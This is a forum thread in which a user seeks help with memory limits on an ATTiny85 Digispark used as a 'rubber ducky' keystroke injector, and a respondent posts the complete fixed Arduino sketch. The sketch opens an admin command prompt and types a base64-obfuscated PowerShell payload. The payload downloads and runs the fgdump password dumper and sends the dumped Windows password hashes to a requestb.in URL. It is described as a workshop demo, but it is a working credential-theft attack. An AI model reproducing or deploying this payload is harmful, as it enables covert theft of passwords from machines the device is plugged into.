Author Topic: Memory overload using keyboard library  (Read 8358 times)

lhordijk

  • Newbie
  • *
  • Posts: 3
Memory overload using keyboard library
« on: January 20, 2017, 05:05:13 am »
Hello all,

Just received a batch of ATTiny85 from banggood.
All of them seem to work fine. I'm now trying to setup a rubberducky kind of attack using the DigiKeyboard library.
Basic tests I did all worked out of the box.
But the first more serious script seems to run into unexpected memory problems.
I have attached the script I created with Arduino IDE.

When I upload it to the digispark, it will work as long as I dont add any more text as pointed out in the loop() function.
The weird thing here is that the compiler reports I have only 3800 bytes of the available 6012 bytes in use.
Adding any bytes of text extra, and the device is not sending a single keystroke anymore, or may even give errors like unrecognized usb device.
(This is all on Windows 10)

Anyone any idea why this is? Or how to solve it?

I know I could spare bytes by more efficient programming, but the issue is, I should still have plenty memory available.

Thanks, i.a.
« Last Edit: January 20, 2017, 11:13:36 am by lhordijk »

PeterF

  • Hero Member
  • *****
  • Posts: 881
Re: Memory overload using keyboard library
« Reply #1 on: January 20, 2017, 05:42:10 pm »
Ok, long story short, I have it working. Read the code below if you want to see how to work around the issue.

When I first loaded the code, I looked through it, and it seemed fine, so I compiled it to see what compiler said.

Sketch uses 3,800 bytes (63%) of program storage space. Maximum is 6,012 bytes.
Global variables use 474 bytes of dynamic memory.


Ok, so flash memory useage is fine... dynamic (SRAM) not so good. The Attiny85 only has 512 bytes of SRAM, and some of that will be lost to the bootloader and the Arduino IDE core. So anything above say around 450 is pushing it, and begging for your code to spontaneously and randomly implode. Unfortunately the core doesn't have the maximum size for the SRAM, so didn't warn you... due to that feature being added to the Arduino IDE after the core was written.

Strings consume a lot of memory, so the trick is use the PROGMEM stuff to instruct the compiler to keep them in flash memory, and only load them into SRAM on demand. Then you can use a buffer variable in SRAM, and pull the strings from the flash memory in chunks. Unfortunately, the core files for the Digispark are pre Paul Stoffregen's re-write/refresh of the String library for Arduino, which is when  I believe the F() macro was introduced, making it so you could simply surround your string with F(), and it would then be stored in flash memory and loaded when needed. Thus we need to do it ourselves, which is a bit more awkward, but doable.

The key bits are
Code: [Select]
#include <avr/pgmspace.h>(to include the PROGMEM helper functions)

Code: [Select]
//long string in flash memory
const char line1[] PROGMEM = "echo Y2QgL3dpbiAmIGVjaG8gKHdnZXQgJ2h0dHA6Ly9kYXRhLmh1L2dldC8xMDI2";
const char line2[] PROGMEM = "NjMzNi9mZ2R1bXAuZXhlJyAtT3V0RmlsZSBvdXQuZXhlKSA+IHRlc3QuUFMxICYgc";
const char line3[] PROGMEM = "G93ZXJzaGVsbCAtRXhlY3V0aW9uUG9saWN5IEJ5UGFzcyAtRmlsZSB0ZXN0LnBzMS";
const char line4[] PROGMEM = "AmIFNUQVJUIC9CIG91dC5leGUgJiBwaW5nIDEyNy4wLjAuMSAtbiA0ID4gbnVsICY";
const char line5[] PROGMEM = "gZWNobyAoJHBhc3NlcyA9IEdldC1Db250ZW50IGM6XHdpblwxMjcuMC4wLjEucHdk";
const char line6[] PROGMEM = "dW1wKTsoJHVybCA9IGh0dHA6Ly9yZXF1ZXN0Yi5pbi8xZ3JqYjdmMT9wPScgKyAkc";
const char line7[] PROGMEM = "GFzc2VzKTsod2dldCAkdXJsKSA+IHJlcXVlc3QuUFMxICYgcG93ZXJzaGVsbCAtRX";
const char line8[] PROGMEM = "hlY3V0aW9uUG9saWN5IEJ5UGFzcyAtRmlsZSByZXF1ZXN0LnBzMSAmIGV4aXQ= ";
const char line9[] PROGMEM = "> base.txt";
(loading your string into progmem... size of the chunks is your choice... but the longer the chunk, the bigger the buffer will need to be)

Code: [Select]
char buffer[66]; //as long as longest string + 1 for null(buffer in SRAM which the chunks will be loaded into)

Code: [Select]
#define GetPsz( x ) (strcpy_P(buffer, (char*)x))(helper macro which will let us access PROGMEM chunks via the buffer variable)

And in your loop function (or wherever you want to access the chunks of progmem data)
Code: [Select]
  printText( GetPsz (line1) );
  printText( GetPsz (line2) );
  printText( GetPsz (line3) );
  printText( GetPsz (line4) );
  printText( GetPsz (line5) );
  printText( GetPsz (line6) );
  printText( GetPsz (line7) );
  printText( GetPsz (line8) );
  printText( GetPsz (line9) );
(GetPsz will return the buffer variable, which is loaded with the contents of the given PROGMEM chunk/string)

Bonus (use or not) - blink the P1 led when finished, and keep the USB interface happy also (remember to do pinMode(1,HIGH) in setup() also):

Code: [Select]
  //blink the P1 led we know the digispark hasn't crashed
  while (1)
  {
    digitalWrite(1, !digitalRead(1));
    DigiKeyboard.delay(500);
  }

Disclaimer: I haven't run the full code, only fixed up the SRAM overrun, so something else may be broken, but I know it at least does the base64 print without issues ;-) Sketch now uses 4,432 bytes (73%) of flash memory, and 184 bytes (of say... 450) SRAM... so should run without issue.

Code: [Select]
#include <avr/pgmspace.h>
#include "DigiKeyboard.h"

//long string in flash memory
const char line1[] PROGMEM = "echo Y2QgL3dpbiAmIGVjaG8gKHdnZXQgJ2h0dHA6Ly9kYXRhLmh1L2dldC8xMDI2";
const char line2[] PROGMEM = "NjMzNi9mZ2R1bXAuZXhlJyAtT3V0RmlsZSBvdXQuZXhlKSA+IHRlc3QuUFMxICYgc";
const char line3[] PROGMEM = "G93ZXJzaGVsbCAtRXhlY3V0aW9uUG9saWN5IEJ5UGFzcyAtRmlsZSB0ZXN0LnBzMS";
const char line4[] PROGMEM = "AmIFNUQVJUIC9CIG91dC5leGUgJiBwaW5nIDEyNy4wLjAuMSAtbiA0ID4gbnVsICY";
const char line5[] PROGMEM = "gZWNobyAoJHBhc3NlcyA9IEdldC1Db250ZW50IGM6XHdpblwxMjcuMC4wLjEucHdk";
const char line6[] PROGMEM = "dW1wKTsoJHVybCA9IGh0dHA6Ly9yZXF1ZXN0Yi5pbi8xZ3JqYjdmMT9wPScgKyAkc";
const char line7[] PROGMEM = "GFzc2VzKTsod2dldCAkdXJsKSA+IHJlcXVlc3QuUFMxICYgcG93ZXJzaGVsbCAtRX";
const char line8[] PROGMEM = "hlY3V0aW9uUG9saWN5IEJ5UGFzcyAtRmlsZSByZXF1ZXN0LnBzMSAmIGV4aXQ= ";
const char line9[] PROGMEM = "> base.txt";

char buffer[66]; //as long as longest string + 1 for null
#define GetPsz( x ) (strcpy_P(buffer, (char*)x))


void digiReset() {
  DigiKeyboard.sendKeyStroke(0, 0);
  DigiKeyboard.delay(50);
}

void waitFor( int d ) {
  DigiKeyboard.delay( d );
}

void sendModKey( int key, int mod ) {
  DigiKeyboard.sendKeyStroke( key, mod );
  DigiKeyboard.update();
}

void sendKey( int key ) {
  DigiKeyboard.sendKeyStroke( key );
  DigiKeyboard.update();
}

void printText( char * txt ) {
  int l = strlen(txt);
  for (int i = 0; i < l; i++) {
    DigiKeyboard.print( txt[i] );
    DigiKeyboard.update();
  }
}

void setup() {
  digiReset();
  pinMode(1, OUTPUT);
}

void loop() {
  // Get an AdminPrompt

  sendModKey( 0,MOD_GUI_LEFT);
  waitFor( 1000 );
  printText( "cmd");
  sendModKey( KEY_ENTER, MOD_CONTROL_RIGHT | MOD_SHIFT_RIGHT );
  waitFor( 2000 );
  sendKey( KEY_ARROW_LEFT );
  waitFor( 2000 );
  sendKey( KEY_ENTER );
  waitFor( 2000 );

// Type out some base64 code

  printText( "cd \ & mkdir win & cd win");
  sendKey( KEY_ENTER );
  waitFor( 2000 );
 
  printText( GetPsz (line1) );
  printText( GetPsz (line2) );
  printText( GetPsz (line3) );
  printText( GetPsz (line4) );
  printText( GetPsz (line5) );
  printText( GetPsz (line6) );
  printText( GetPsz (line7) );
  printText( GetPsz (line8) );
  printText( GetPsz (line9) );

  waitFor( 50 );
  sendKey(KEY_ENTER);

  waitFor( 5000 );

  //blink the P1 led we know the digispark hasn't crashed
  while (1)
  {
    digitalWrite(1, !digitalRead(1));
    DigiKeyboard.delay(500);
  }
};





lhordijk

  • Newbie
  • *
  • Posts: 3
Re: Memory overload using keyboard library
« Reply #2 on: January 22, 2017, 10:47:26 am »
Hello PeterF,

Thanks for your response, just saw it moments ago, so I will still have to study what exactly your trick is, and whether it will allow me enough keyboard content for the type of Usb Rubber Ducky attacks that I want to run with it.

I was alerted to the ATTiny85 by a youtube video of a guy named seytonic as a replacement for USB Rubber Ducky. I did not yet have time to get in touch with him about what his experiences are.

lhordijk

  • Newbie
  • *
  • Posts: 3
Re: Memory overload using keyboard library
« Reply #3 on: January 22, 2017, 11:19:52 am »
Hello Peter,

I have tried your solution mean while and it DOES work. Kudos for you.  ;D ;D ;D  I'm really gratefull. I knew there's more then one type of memory in these kind of devices and I noticed the 447 bytes of dynamic memory free or so as well, but did not have a clue how the compiler or the core for that matter is using these types of memory. I was just stumped that I could not go above the 3800 bytes or so for a 6k device.

 Alas for me the question is how well I can now use the device for what I want to do with it  :( , which is a more or less beginners workshop demo about a do-it-yourself USB rubber ducky that cost only 2 euros. A little bit of programming would not be a point, but now participants will have to understand a great deal of C and also ATtiny specifics. From the video I mentioned before it looked as something that would be well useable in this respect.


PeterF

  • Hero Member
  • *****
  • Posts: 881
Re: Memory overload using keyboard library
« Reply #4 on: January 22, 2017, 04:33:46 pm »
Yeah, due to the size of the string you wanted to load, it you pretty much won't be able to load all of it at once it into SRAM on the DigiSpark. You would probably would  have been able to on the Pro Micro, as that has 2.5k of memory to the Digisparks 512 bytes, but that doesn't help here. One other trick you can use at times is variables in functions... as they only exist in memory for the duration of the function call... so you can basically call four functions (or 20) one after the other that each use 75% of the total available SRAM without any problem... but that would probably get messier?

It seems that the method I've used is one of the few (if only?) ways to get around the memory issue in this case... other tricks like constant strings, or using a define to include the base64 string as a 'variable' also result in the SRAM memory being overloaded :(

Hopefully you can still do something with that... either a simpler demo that isn't entering so much bulk data, or hide more of it behind a function that they can just copy in? Or take the plunge, and see how it goes tackling the whole beast! ;)

Edit/PS: You might find this forum thread interesting... as it seems the Digispark Rubber Ducky has gotten someone else's interest also...
« Last Edit: January 23, 2017, 03:42:11 pm by PeterF »